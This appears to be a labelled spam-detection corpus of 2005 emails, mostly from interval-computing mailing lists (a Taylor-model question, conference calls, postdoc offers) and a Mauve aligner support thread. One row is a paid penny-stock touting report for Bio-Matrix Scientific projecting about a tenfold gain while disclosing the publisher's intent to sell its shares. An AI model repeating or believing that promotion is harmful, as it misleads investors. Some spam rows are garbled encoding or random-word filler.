w(f(X(k)))=max(f(X(k)))-min(f(X(k))), we are looking for the X(k) to which corresponds the minimum w(f(X(k))). That is the region of minimum variability. > >Now, I was trying an interval extension F(X(k)) of f(x) on the interval X(k) such that w(F(X(k))) had the same behaviour of w(f(X(k))). In particular that w(F(X(k))) was minimum just where w(f(X(k))) was, even if w(F(X(k)))>> w(f(X(k))). > >Actually, using the Taylor Model of f as interval extension (F_TM(X(k))), i.e. by using the complete Taylor series of f(x) around x0(k) and estimating it in terms of interval variable, I have verified that w(F(X(k))) keeps the presence of local and absolute minima just where local and absolute minima of w(f(X(k))) are. In particular it is true for a generic parabola and for all the polynomials that I have randomly obtained (from 3rd to 9th order). Moreover this characteristic is maintained for all delta, i.e. both tight and wide interval. > >I think improbable that these are only coincidences, rather I'm looking for a justification to this behaviour in the properties of the Taylor Model. >Can you help me about this topics? May this result be extended to any polynomial function? Are there some theorems about this? > >I have not found a precise reference to this topic in literature, but I am afraid I am not searching for in the right way. I am sure that you can address me in the right way. > >At the best of your knowledge, is somewhere anyone who has been interested in the region of minimum w(f(X(k))) rather than the minimum of f(X(k)), or the best inclusion of the function? > >Do you think that the use of TM is valid or suggest alternatives to me? > >Thanks in advance > >Patrizia Lamberti --------------------------------------------------------------- R. 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Neumaier Interval Methods for Systems of Equations Cambridge Univ. Press, Cambridge 1990 I don't know how close they are to those by R/R. Arnold Neumaier ",0,0 Michael Dahl ,Greg Vert ,"Tue, 18 Jan 2005 15:53:55 -0800",TCP books,"Network programming books: BSD Sockets Programming from a Multi-Language Perspective http://0-library.books24x7.com.innopac.library.unr.edu/book/id_7266/toc.asp Visual Basic for Network Applications http://0-library.books24x7.com.innopac.library.unr.edu/book/id_546/toc.asp Professional .NET Network Programming http://0-library.books24x7.com.innopac.library.unr.edu/book/id_4473/toc.asp C# Network Programming http://0-library.books24x7.com.innopac.library.unr.edu/book/id_4964/toc.asp ",0,1 Quarterly Journal ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 19 Jan 2005 10:11:58 +0800",QJPAM,"Dear Prof. Phillips, I'm secretary of Quarterly Journal of Pure and Applied Mathematics. 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Website: XXXXXXXqjpam.henu.edu.cn E-MAIL: qjpam@henu.edu.cn �������������� ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 19 Jan 2005 08:59:10 -0700",2nd CfP: ISIPTA'05,"------------- Begin Forwarded Message ------------- X-Authentication-Warning: swan2.uspnet.usp.br: fgcozman owned process doing -bs Date: Tue, 18 Jan 2005 16:21:55 -0200 (BRDT) From: Fabio Gagliardi Cozman Your help with circulating this announcement is much appreciated; note new submission deadline. Apologies for multiple postings. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ISIPTA '05 4th International Symposium on Imprecise Probabilities and Their Applications Second Call for Papers July 20-23, 2005 Carnegie Mellon University Pittsburgh, Pennsylvania, USA http://www.sipta.org/isipta05 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The ISIPTA meetings are one of the primary international forums to present and discuss new results on the theory and applications of imprecise probabilities. Imprecise probability has a wide scope, being a generic term for the many mathematical or statistical models which measure chance or uncertainty without sharp numerical probabilities. These models include belief functions, Choquet capacities, comparative probability orderings, convex sets of probability measures, fuzzy measures, interval-valued probabilities, possibility measures, plausibility measures, and upper and lower expectations or previsions. Imprecise probability models are needed in inference problems where the relevant information is scarce, vague or conflicting, and in decision problems where preferences may also be incomplete. Themes of the symposium ----------------------- Although the symposium will be open to contributions on all aspects of imprecise probability, three main themes will be emphasised: decision-making, algorithms, and real applications. Topics of interest include, but are not limited to: models of coherent imprecise assessments convex sets of probability measures (credal sets) interval-valued probabilities upper and lower expectations or previsions non-additive set functions, and in particular Choquet capacities (and Choquet integration), fuzzy measures, possibility measures, belief and plausibility measures random sets rough sets comparative probability orderings qualitative reasoning about uncertainty imprecision in utilities and expected utilities limit laws for imprecise probabilities physical models of imprecise probability philosophical foundations for imprecise probabilities psychological models for imprecision and indeterminacy in probability assessments elicitation techniques for imprecise probabilities robust statistics probabilistic bounding analysis data mining with imprecise probabilities/missing data estimation and learning of imprecise probability models decision making with imprecise probabilities ambiguity aversion and economic models of imprecise probability uncertainty in financial markets algorithms for manipulating imprecise probabilities Dempster-Shafer theory information algebras and probabilistic argumentation systems probabilistic logic, propositional and first-order credal networks and other graphical models credal classification applications in statistics, economics, finance, management, engineering, computer science and artificial intelligence, psychology, philosophy and related fields Workshop on Financial Risk Assessment ------------------------------------- There will be a workshop addendum to the conference, to be held on July 24, with invited speakers on the topic of financial risk assessment, to which all of the ISIPTA'05 participants are welcome, at no additional registration cost. Details will be announced later. Location -------- ISIPTA '05 will be held at Carnegie Mellon University, in Pittsburgh, Pennsylvania, United States. Important dates --------------- (Note that we have moved the deadlines, as we moved dates a bit with the publisher!!) Paper submission deadline: February 25 2005 Notification of acceptance: April 15 2005 Deadline for revised papers: May 15 2005 Symposium: July 20-23 2005 Submissions and Proceedings --------------------------- We will accept papers only as PDF files with a limit of 8 pages in two-column format. Guidelines are available both in a PDF file and in a word file at the site http://www.sipta.org/isipta05/submit.html. The simplest way to produce an article that satisfies these requirements is to use Latex with the isipta2005.sty style, using guidelinesat the file isipta05.tex (or using this file as a template). Otherwise, use the file isipta2005.doc as template. Submission is electronic. You should introduce paper data and attach the PDF file by using the submission page. The Program Committee will decide which of the submitted papers are accepted, by carefully evaluating their originality, significance, technical soundness, and clarity of exposition. All the accepted papers will be included in a volume of proceedings, published by Brightdocs. There will be free electronic access to the proceedings after some time. Before the conference, the electronic access will be restricted to the ISIPTA '05 attendees to allow them to study the papers in some detail before they are actually presented. Each accepted paper will be given the opportunity for both a brief oral presentation as well as a poster session. Program Board ------------- Fabio Cozman (Universidade de Sao Paulo, Brazil) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Steering Committee ------------------ Gert de Cooman (Universiteit Gent, Belgium) Fabio G. Cozman (Universidade de São Paulo, Brazil) Serafin Moral (Universidad de Granada, Spain) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Marco Zaffalon (IDSIA-Istituto Dalle Molle di Studi sull'Intelligenza Artificiale, Switzerland) The members of the program committee are listed in the site www.sipta.org/isipta05.html. Questions --------- If you have any questions about the symposium, please contact the Organising Committee preferably by email (teddy@stat.cmu.edu - fgcozman@usp.br), or at the following address: Teddy Seidenfeld Department of Statistics Carnegie Mellon University Pittsburgh PA 15213 Phone: 412 - 268 - 2209 Fax: 412 - 268 - 1440 ------------- End Forwarded Message -------------",0,1 """A Diamond -Equity Report <""",<,"Thu, 20 Jan 2005 17:57:27 +0500",Penny stock trading reports to follow,"Bio-Matrix Scientific Group, Inc. Symbol: OTC Pink Sheets: BMXG.PK Industry: Biotechnology; Stem Cell Technologies Current Price: 0.40 Projected Valuation: 3.50 per share About the Company: Bio-Matrix Scientific Group, Inc. is an innovative biotechnology R&D company, focused on the commercialization of new and groundbreaking stem cell technologies. The Company has focused its initial efforts on the launch of an innovative adult cryogenic stem cell bank which will store stem cell tissues for use in treatment of future diseases and ailments. The Company plans to launch its initial cryogenic stem cell facilities in mid-2005, and is additionally exploring opportunities for commercialization of new technologies in tissue management, stem cell research instrumentation, and bio-systems monitoring. With impending establishment of an adult stem cell cryobank, research efforts at the forefront of the stem cell market, and experienced management team, we could see Bio-Matrix Scientific Group emerge as the newest and most dynamic player in the explosive stem cell research market. Investment Highlights: Bio-Matrix Scientific is exceptionally well positioned at the forefront of one of the most exciting new frontiers in biotechnology- stem cell research, which has exploded since its inception a mere twenty years ago as a panacea for the treatment of degenerative disease. While stem cell therapy is still a relatively new concept, expectations are almost universally positive, with research firm visiongain predicting that stem cell product revenues will exceed 10 billion by 2013. Recently, voters in California overwhelmingly approved passage of Proposition 71, a landmark piece of legislation which provides 3 billion in stem cell funding over the next ten years, and will stimulate a stem cell research boom throughout the state. With its initial focus on the establishment of stem cell cryogenic storage facilities, Bio-Matrix is additionally well situated in a rapidly growing and commercially successful market. Until recently, this market has been primarily limited to the cryogenic storage of cord blood tissues, used mainly for bone marrow transplant procedures. There are over 10 major cord blood banks in the world, preserving cells from more than 35,000 donors with average fees of 20,000 per patient- representing a total current market of over 720 million. As the public understanding of stem cells increases, and as additional stem cell therapies are developed, we believe that this niche market will enjoy exponential growth. As it is the foremost stem cell banker focusing on the storage of adult stem cells, an unexplored but lucrative market, we believe that Bio-Matrix stands to enjoy tremendous revenue growth in the near-term period. The Company benefits from a surprisingly strong (for a Pink Sheets Company) and experienced management team, who have combined financial acumen with scientific savvy to offer a unique and promising model for growth in the stem cell market. The Company�s senior management team, helmed by David Koos, PhD a 20 year veteran of investment banking, has extensive experience in capital financing and public company management, while its research efforts under the guidance of Dr. Philip Watts (PhD- Caltech) are intimately involved in the newest academic research into stem cell technologies. Based solely on its stem cell cryogenic storage service, and without considering the potential top line impact of the Company�s efforts in tissue management, stem cell instrumentation, and bio-systems monitoring, we anticipate tremendous revenue growth for Bio-Matrix Scientific Group. With launch of its stem cell cryobank in mid-late 2005, we anticipate FY 2005 sales of approximately 3.5 million, growing to over 24.7 million in 2006 and 35 million in 2007 as medically-conscious consumers seek to avail themselves of the promise of stem cell technologies. Relative to a peer grouping of companies engaged in the stem cell research and cryogenic tissue storage industries, who trade at an average price to sales multiple of 8x, Bio-Matrix Scientific Group is prices at a steep discount given its technology suite, management team, and sales expectations By applying this comparative grouping�s average P/R multiple to the Company�s expected FY 2005 RPS of 0.44, we can arrive at a relative valuation for Bio-Matrix of approximately 3.50 per share- a premium of almost 1000% from current levels. From the Investor's Point of View: How arrived at our conclusions for BMXP: A peer grouping of comparative stem cell storage and tissue management companies currently trades at an average price to revenue multiple of 8x. We anticipate that Bio-Matrix Scientific Group, Inc. will distinguish itself from these comparative companies with superior financial performance and revenue growth. Therefore, on a forward looking basis and applying the comparative grouping�s average price to sales ratio to the Company�s anticipated FY 2005 revenues, we can therefore arrive at a relative valuation for Bio-Matrix of approximately 3.50 per share; a nearly 10-fold increase from current trading levels. This publication is an independent publication with the goal of giving investors the necessary knowledge to make rational and profitable investment decisions. Use of the material within this newsletter constitutes your acceptance of the terms in this closing statement. This publication does not provide an analysis of the Company's financial position and is not an solicitation to purchase or sell securities Investing in securities is speculative and carries risk. It is advisable that any investment should be made after consulting with your investment expert and after reviewing the financial statements of the company. The information in this report is believed to be reliable, but its accuracy cannot be assured. Past performance does not insure similar future results. This is not purported to be a complete and thorough analysis of the featured company and recommends a complete review of the Company's regulatory filings at secgov The information herein contains future looking statements and information within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, including statements regarding expected continual growth of the featured company. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, goals, assumptions or future events or performance are not statements of historical fact and may be future looking statements. Future looking statements are based on expectations, estimates and projections at the time the statements are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially from those presently anticipated. Future looking statements in this action may be identified through the use of words such as projects, foresee, expects, will, anticipates, estimates, believes, understands, or that by statements indicating certain actions may, could, or might occur. Be aware of an inherent conflict of interest resulting from such compensation due to the fact that this is a paid publication. All factual information in this report was gathered from public sources, including but not limited to Company Web sites, SEC filings and Company Press Releases. This information is believed to be reliable but can make no absolute certainty as to its accuracy or completeness. As with many microcap stocks, todays company has additional risk factors worth noting. Those factors may include an accumulated deficit since its inception, a negative net worth, reliance on loans from officers, directors and a majority shareholder to pay expenses, nominal cash and the need to raise capital. The company may have a going concern opinion from its auditor. In compliance with Section 17b, the publisher discloses the holding of two hundred thousand shares of BMXG prior to the publication of this report. Be aware of an inherent conflict of interest resulting from such holdings due to the publisher's intent to gain from the liquidation of these shares. Shares may be sold at any time, even after positive statements have been made regarding the above company. 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Vladik ------------- Begin Forwarded Message ------------- Date: Sun, 23 Jan 2005 19:33:13 +0100 (CET) From: Andreas Griewank Dear Colleagues and/or Friends, As some of you may know I have moved to the Humboldt University Berlin, where I hold a professorship on nonlinear optimization attached to the DFG Reserach Center now named 'Matheon' Together with Carsten Carstensen, Barbara Niethammer and some other colleagues from Matheon we have established a 'Graduiertenkolleg', which is a temoporary graduate school. It provides this year 6 doctoral scholarships for master level applicants and 6 qualifying scholarships for bachelors. The focus of the study and research program is Analysis, Numerics, and Optimization of Multiphase Problems and we are looking for applicants from mathematics, physics and engineering with a keen interest and strong background in applied mathematics. While for the time being I am the coordinator, optimization is just one aspect and automatic differentiation won't figure prominently at all. I hope to learn a fair bit about PDEs myself. For some more details see http://multiphase.mathematik.hu-berlin.de Please encourage suitable students to contact us by e-mail and send in a resume. Preferably by the end of January, but there will probably be continuous admission throughout the first year depending on the quality of applicants. Also next year we'll get another batch of 6 scholarships and then later hopefully an extension for a second period of 4.5 years, so that a total of some 36 doctoral scholarships can be granted. The extra qualifying scholarships will only be available in the first year. We hope to attract significant foreign participation and everything will be conducted in English. With best wishes and the hope that this year will be more peaceful than the last, which unfortunately would not take much. Andreas Griewank fon: 49-30-2093 5820 sec: 49-30-2093 5833 ( Jutta Kerger ) fax: 49-30-2093 5859 mob: 49-178-6852592 url: math.hu-berlin.de/~griewank Institut für Mathematik Fakultät Mat.-Nat. II Humboldt-Universität Rudower Chaussee 25, Adlershof Post: Unter den Linden 6, 10099 Berlin Member of the DFG Research Center Matheon, Mathematics for Key Technologies home: Rosestr. 3a 12524 Berlin +4930 61504344 ------------- End Forwarded Message -------------",0,1 Deon ,ruthie@psy1.psych.arizona.edu,"Sun, 23 Jan 2005 09:25:34 -0600",100% ��������. ���ŸŹ��� ���ϴ� �ְ��� ���!,100% ��������. ���������� ������ ������ ����!,1,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Sun, 23 Jan 2005 19:01:34 -0700",possible interval session at IPMU'06," Dear Friends, Brenadette Bouchon-Meunier, the main organizer of the conference, will be very glad to have an interval session. She is a big interval enthusiast, e.g., she the editor-in-chief of the International Journal on Uncertainty, Fuzziness, and Knowledge-Based Systems (IJUFKS) that regularly publishes abstracts of interval application papers and had seevral interval-related special issues. If you are interested in participating in this session, please inform me and Hung T. Nguyen at vladik@cs.utep.edu and hunguyen@nmsu.edu The deadline is in October, so there is still time to decide. Your sincerely Vladik ********************************************** Information Processing and Management of Uncertainty in Knowledge-Based Systems IPMU'2006 July 2-7, 2006, Paris, France 1986-2006 Twenty Years of IPMU http://ipmu2006.lip6.fr Honorary President Lofti A. Zadeh General Chairpersons Bernadette Bouchon-Meunier Ronald R. Yager Topics Evidence Theory, Possibility Theory, Utility Theory, Measurement Theory, Belief Networks, Chaos Theory, Fuzzy Methods, Rough Sets, Belief Updating, Default Reasoning, Multivalued Logics, Temporal Reasoning, Machine Learning, Inductive Methods, Neural Networks, Aggregation Methods, Data Analysis, Fuzzy Control, Hybrid Systems, Clustering, Classification, Databases, Pattern Recognition, Image Processing, Bioinformatics, Information Incompleteness and Inconsistency, Multicriteria and Group Decision Making, Measure of Information and Uncertainty, Cyber Security Software Engineering, Bayesian and Probabilistic Methods, Diagnosis Expert Systems, Multi-Media Management, Decision Support Systems, Approximate Reasoning, Knowledge Acquisition, Knowledge Representation, Uncertainty in Cognition, Non-standard Logics, Non-monotonic Logics, Genetic Algorithms, Evolutionary Computation, Intelligent Systems, Medical Applications, Financial Engineering, Information Systems, Information Retrieval, Information Fusion, Data Mining Key Dates October 15, 2005 Submission of special sessions December 10, 2005 Submission of papers February 25, 2006 Notification of acceptance March 31, 2006 Submission of final papers July 2-7, 2006 Conference 3 copies of full paper (6-8 pages) must be submitted to the secretariat: Secretariat IPMU 2006 LIP6-Pole IA 8 rue du Capitaine Scott 75015 Paris, France ------------- End Forwarded Message ------------- ",0,1 Nathalie Revol ,reliable_computing@interval.louisiana.edu,"Mon, 24 Jan 2005 17:49:32 +0100","Postdoctoral Position at Ecole Normale Superieure, Lyon, France"," Please distribute -- We apologize if you receive multiple copies of this announcement. POSTDOC POSITION IN COMPUTER SCIENCE ECOLE NORMALE SUPERIEURE, LYON FRANCE SOFTWARE COMPONENTS FOR VALIDATED SCIENTIFIC COMPUTING Other postdoc offers (cryptology, interval arithmetic) are available and can be consulted at http:// www.ens-lyon.fr/LIP/Arenaire/ Projet Arenaire / Laboratoire LIP (CNRS - ENSL - INRIA - UCBL) Ecole Normale Superieure 46 Allee d'Italie 69364 Lyon Cedex 07 France SUPERVISORS: Nathalie Revol (LIP-INRIA) (Nathalie.Revol@ens-lyon.fr), Gilles Villard (LIP-CNRS) (Gilles.Villard@ens-lyon.fr). RESEARCH PROJECT The candidate will be hosted by the Arenaire team of the LIP Laboratory. The goal is to contribute to the Roxane collaborative project: Reliable Open Software-Components for Algebraic and Numeric Efficiency (cf. Bernard.Mourrain@inria.fr --- http://www-sop.inria.fr/galaad/logiciels/roxane). Roxane mutualizes and organizes the efforts of implementation that are done in different research groups in: computer arithmetic, computer algebra and numerical computing. In this context, the domain of expertise of Arnaire covers - arbitrary precision interval arithmetic and dedicated numerical algorithms, which lead to certified numerical results while still using floating-point arithmetic; - exact arithmetic especially for finite fields, rational numbers or polynomials. The candidate will work on these topics, including both algorithm design and software realizations. The algorithm side may concern linear algebra, lattice basis reduction, numerical constraint programming or optimization. Software aspects will include developments on Roxane, as well as works based on existing components, and the extension of their interoperability. SKILLS Candidates should have skills in computer arithmetic, and in one of the algorithmic domains mentioned in the research project. The programming language will be C or C++. PREFERRED DURATION: One year. TO APPLY: please contact ASAP Nathalie Revol (Nathalie.Revol@ens-lyon.fr) and Gilles Villard (Gilles.Villard@ens-lyon.fr). --------------------------------------------------------------------------- Nathalie REVOL INRIA Rhone Alpes LIP - Projet Arenaire tel : (33) 4-72-72-85-00 Ecole Normale Superieure de Lyon Fax : (33) 4-72-72-80-80 69364 Lyon Cedex 07, FRANCE Nathalie.Revol@ens-lyon.fr http://perso.ens-lyon.fr/nathalie.revol/ --------------------------------------------------------------------------- ",0,1 H Huang ,"'Nathalie Revol' , reliable_computing@interval.louisiana.edu","Mon, 24 Jan 2005 19:12:07 -0000","RE: Postdoctoral Position at Ecole Normale Superieure, Lyon, France"," Dear Nathalie and Gilles, I am writing to apply the postdoctoral position that is advertised on the mail list of reliable computing. I have neither pure computing background nor pure math background. But I have been engaged in mathematical modeling for many years and interested in interval arithmetic and reliable computing since 1998. In addition, I had half a year of French language training. I love French culture. I am sending you application materials for your consideration. I am a research fellow in the University of Leeds. My job is to develop computational method for model reduction for combustion process simulation. Before this job, I did my PhD study on quantitative process safety and flexibility analysis in the centre for process systems engineering of Imperial College London. I also had worked in process modeling and optimization for petroleum refining industry for years. I have strong intention to work on research of computational methodology for complex systems modeling, particularly for dynamic system (including systems biology) analysis and to apply those methods in different application areas. Having a multidisciplinary background, I am willing and prepared to collaborate with members of your department to fulfill ever changing research tasks. I have included my CV, publication and referee lists, research and teaching statements. Thank you for considering my application. I look forward to hearing from you and would be pleased to supply further information regarding my qualifications. Yours sincerely Haitao Huang Dr Haitao Huang 29 Raynel Drive Leeds LS16 6BS UK -----Original Message----- From: owner-reliable_computing@interval.louisiana.edu [mailto:owner-reliable_computing@interval.louisiana.edu] On Behalf Of Nathalie Revol Sent: 24 January 2005 16:50 To: reliable_computing@interval.louisiana.edu Cc: Gilles Villard; Nathalie Revol Subject: Postdoctoral Position at Ecole Normale Superieure, Lyon, France Please distribute -- We apologize if you receive multiple copies of this announcement. POSTDOC POSITION IN COMPUTER SCIENCE ECOLE NORMALE SUPERIEURE, LYON FRANCE SOFTWARE COMPONENTS FOR VALIDATED SCIENTIFIC COMPUTING Other postdoc offers (cryptology, interval arithmetic) are available and can be consulted at http:// www.ens-lyon.fr/LIP/Arenaire/ Projet Arenaire / Laboratoire LIP (CNRS - ENSL - INRIA - UCBL) Ecole Normale Superieure 46 Allee d'Italie 69364 Lyon Cedex 07 France SUPERVISORS: Nathalie Revol (LIP-INRIA) (Nathalie.Revol@ens-lyon.fr), Gilles Villard (LIP-CNRS) (Gilles.Villard@ens-lyon.fr). RESEARCH PROJECT The candidate will be hosted by the Arenaire team of the LIP Laboratory. The goal is to contribute to the Roxane collaborative project: Reliable Open Software-Components for Algebraic and Numeric Efficiency (cf. Bernard.Mourrain@inria.fr --- http://www-sop.inria.fr/galaad/logiciels/roxane). Roxane mutualizes and organizes the efforts of implementation that are done in different research groups in: computer arithmetic, computer algebra and numerical computing. In this context, the domain of expertise of Arnaire covers - arbitrary precision interval arithmetic and dedicated numerical algorithms, which lead to certified numerical results while still using floating-point arithmetic; - exact arithmetic especially for finite fields, rational numbers or polynomials. The candidate will work on these topics, including both algorithm design and software realizations. The algorithm side may concern linear algebra, lattice basis reduction, numerical constraint programming or optimization. Software aspects will include developments on Roxane, as well as works based on existing components, and the extension of their interoperability. SKILLS Candidates should have skills in computer arithmetic, and in one of the algorithmic domains mentioned in the research project. The programming language will be C or C++. PREFERRED DURATION: One year. TO APPLY: please contact ASAP Nathalie Revol (Nathalie.Revol@ens-lyon.fr) and Gilles Villard (Gilles.Villard@ens-lyon.fr). --------------------------------------------------------------------------- Nathalie REVOL INRIA Rhone Alpes LIP - Projet Arenaire tel : (33) 4-72-72-85-00 Ecole Normale Superieure de Lyon Fax : (33) 4-72-72-80-80 69364 Lyon Cedex 07, FRANCE Nathalie.Revol@ens-lyon.fr http://perso.ens-lyon.fr/nathalie.revol/ --------------------------------------------------------------------------- ",0,1 Benito Cook ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 25 Jan 2005 11:40:46 +0800",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"versailles windsurf manservant pitfall bowl tideland embouchure boxy cincinnati citizenry benz demurred drama epaulet quote sac rhombi none sorb tiger valentine camilla liberal fireboat bikini biography ",1,0 wmccaig@nyc.rr.com,GEL software mailing list ,"Tue, 25 Jan 2005 17:16:14 -0500",Re: Differences in output between old version and new version of Mauve,"Aaron, Thank you for the quick response to my questions, I do appreciate it. I am, in fact, registered with the mailing list, though I have not received any messages before this one. I had re-registered this morning, just in case. Following is the information from the output of Mauve which I mentioned in my earlier message. This is utilizing the older version of Mauve. The reason I am confused is because I can run the newer version with no problems, but get this message with the old version. I've had this happen on several machines. I am uncertain if there is a conflict or not with having both versions installed at the same time. At any rate, here is the information. Thank you again for your help. William Executing: ./mauveAligner -o /home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40 --i sland-size=50 --island-output=/home/william/mauve_output/279_B31_JD1_N40/279_B31 _JD1_N40.islands --backbone-size=50 --max-backbone-gap=50 --backbone-output=/hom e/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.backbone --id-matrix=/hom e/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.id_matrix --output-alignm ent=/home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.alignment --outpu t-guide-tree=/home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.guide_tr ee /home/william/sequences/mauve/279-plasmids-Assembly-9-28-04.fas /home/william /sequences/mauve/279-plasmids-Assembly-9-28-04.fas.sml /home/william/sequences/m auve/Borrelia_burgdorferi_B31.genome /home/william/sequences/mauve/Borrelia_burg dorferi_B31.genome.sml /home/william/sequences/mauve/JD1-Assembly-9-28-04.fas /h ome/william/sequences/mauve/JD1-Assembly-9-28-04.fas.sml /home/william/sequences /mauve/N40-Assembly-10-3-04.fas /home/william/sequences/mauve/N40-Assembly-10-3- 04.fas.sml Sequence loaded successfully. /home/william/sequences/mauve/279-plasmids-Assembly-9-28-04.fas 523576 base pair s. Sequence loaded successfully. /home/william/sequences/mauve/Borrelia_burgdorferi_B31.genome 1519856 base pairs . Sequence loaded successfully. /home/william/sequences/mauve/JD1-Assembly-9-28-04.fas 1518917 base pairs. Sequence loaded successfully. /home/william/sequences/mauve/N40-Assembly-10-3-04.fas 1342546 base pairs. Using 21-mers for initial seeds Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. 0%..99%..Exited with code: 139 ----- Original Message ----- From: Aaron Darling Date: Tuesday, January 25, 2005 3:45 pm Subject: Re: Differences in output between old version and new version of Mauve > William, > > Thanks for the e-mail. As you guessed, the difference in the > number of > Intervals between Mauve versions results from both more sensitive > alignment and a file format change. > The output from the new version of Mauve includes an Interval entry > for > every unaligned region in addition to intervals for the aligned > regions. This was done to support the sequence similarity display > in > the latest version. > > If your previous alignment had 57 intervals and the new one has > 359, 287 > of which are unaligned intervals, it sounds like 15 intervals can > be > attributed to greater sensitivity in the new aligner version. > > Yes, I agree it's wasteful to include entries containing nothing > but > gaps as part of the unaligned intervals. A future Mauve release > may > economize the file format. > > As for the exiting with error codes, this message is somewhat > misleading. The actual error code number has no significance. The > relevant error should be displayed in the text of the log window. > If > you can send me a copy of the error message text I can try to help > you > track down the problem. > > -Aaron > > > William McCaig wrote: > > >Hello there, > > > >I'm having a problem with the Mauve alignment program and was > wondering if > >someone could help me to figure out what exactly is going on. I > was using an > >older version of Mauve, 20040708, and recently switched to the > newest one, > >20041216. > > > >The problem is as follows: > > > >Running both versions with the exact same 4 alignment files, at > the default > >settings, produces two different sets of results. In the old > version, for > >instance, I wind up with an IntervalCount of 57, while with the > newer version > >it's 359. I'm not certain if the default settings changed between > the two > >versions, or if this is a result of the ""inexact seeds"" resulting > in ""more > >sensitive alignments"" that was mentioned in the ChangeLog. > > > >However, I have also noticed a number of Intervals located near > the end of > >the .alignment file that appear to contain an entry for only one > of the four > >sequences. That is, one sequence has an entry and the other three > are > >nothing but gaps. This is in the newer output file generated and > is not > >located in the old one at all. Is there some setting I am missing > that > >changed between Versions that would result in this output. Doing > a count of > >the intervals, there are 287 or so of these Interval entries. > Perhaps I'm > >not understanding the exact format of the MultiFASTA output file, > but it > >seems kind of pointless to have an entry where the sequences you > are > >comparing to are all gaps. > > > >I believe that these entries make no difference when it comes to > using the > >Java Viewer that is included with Mauve, but I actually need the > .alignment > >output file. > > > >Also, a number of times I have gotten an exit status with error > code 139. I'm > >not certain what that or any of the other codes mean. I can't > figure out > >exactly what is going wrong, except it appears to happen on one of > my > >machines with one version and not on another. > > > >Any help at all with this would be greatly appreciated. > > > >Thank you, in advance, > > > >William > > > >############################################################# > >This message is sent to you because you are subscribed to > > the mailing list . > >To unsubscribe, E-mail to: > >To switch to the DIGEST mode, E-mail to digest@svm.vetmed.wisc.edu>>To switch to the INDEX mode, E-mail to > > >Send administrative queries to request@svm.vetmed.wisc.edu>> > > > > > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to digest@svm.vetmed.wisc.edu>To switch to the INDEX mode, E-mail to > > Send administrative queries to request@svm.vetmed.wisc.edu> >",0,0 Aaron Darling ,GEL software mailing list ,"Tue, 25 Jan 2005 17:06:53 -0600",Re: Differences in output between old version and new version of Mauve,"I think the problem may be an SML file format conflict between the old and new versions.  The SML files in the new version store inexact match information, while the old version stored exact match information.  In order to test whether this is in fact part of the problem, try deleting the files ending with .sml in the /home/william/sequences/mauve/ directory before running the old version. Note that the new Mauve release automatically recognizes old format .sml files and updates them automatically.  So, the old .sml format should never be a problem for the newer Mauve. -Aaron wmccaig@nyc.rr.com wrote: Aaron, Thank you for the quick response to my questions, I do appreciate it. I am, in fact, registered with the mailing list, though I have not received any messages before this one. I had re-registered this morning, just in case. Following is the information from the output of Mauve which I mentioned in my earlier message. This is utilizing the older version of Mauve. The reason I am confused is because I can run the newer version with no problems, but get this message with the old version. I've had this happen on several machines. I am uncertain if there is a conflict or not with having both versions installed at the same time. At any rate, here is the information. Thank you again for your help. William Executing: ./mauveAligner -o /home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40 --i sland-size=50 --island-output=/home/william/mauve_output/279_B31_JD1_N40/279_B31 _JD1_N40.islands --backbone-size=50 --max-backbone-gap=50 --backbone-output=/hom e/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.backbone --id-matrix=/hom e/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.id_matrix --output-alignm ent=/home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.alignment --outpu t-guide-tree=/home/william/mauve_output/279_B31_JD1_N40/279_B31_JD1_N40.guide_tr ee /home/william/sequences/mauve/279-plasmids-Assembly-9-28-04.fas /home/william /sequences/mauve/279-plasmids-Assembly-9-28-04.fas.sml /home/william/sequences/m auve/Borrelia_burgdorferi_B31.genome /home/william/sequences/mauve/Borrelia_burg dorferi_B31.genome.sml /home/william/sequences/mauve/JD1-Assembly-9-28-04.fas /h ome/william/sequences/mauve/JD1-Assembly-9-28-04.fas.sml /home/william/sequences /mauve/N40-Assembly-10-3-04.fas /home/william/sequences/mauve/N40-Assembly-10-3- 04.fas.sml Sequence loaded successfully. /home/william/sequences/mauve/279-plasmids-Assembly-9-28-04.fas 523576 base pair s. Sequence loaded successfully. /home/william/sequences/mauve/Borrelia_burgdorferi_B31.genome 1519856 base pairs . Sequence loaded successfully. /home/william/sequences/mauve/JD1-Assembly-9-28-04.fas 1518917 base pairs. Sequence loaded successfully. /home/william/sequences/mauve/N40-Assembly-10-3-04.fas 1342546 base pairs. Using 21-mers for initial seeds Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. Creating sorted mer list Create time was: 1 seconds. 0%..99%..Exited with code: 139 ----- Original Message ----- From: Aaron Darling Date: Tuesday, January 25, 2005 3:45 pm Subject: Re: Differences in output between old version and new version of Mauve William, Thanks for the e-mail. As you guessed, the difference in the number of Intervals between Mauve versions results from both more sensitive alignment and a file format change. The output from the new version of Mauve includes an Interval entry for every unaligned region in addition to 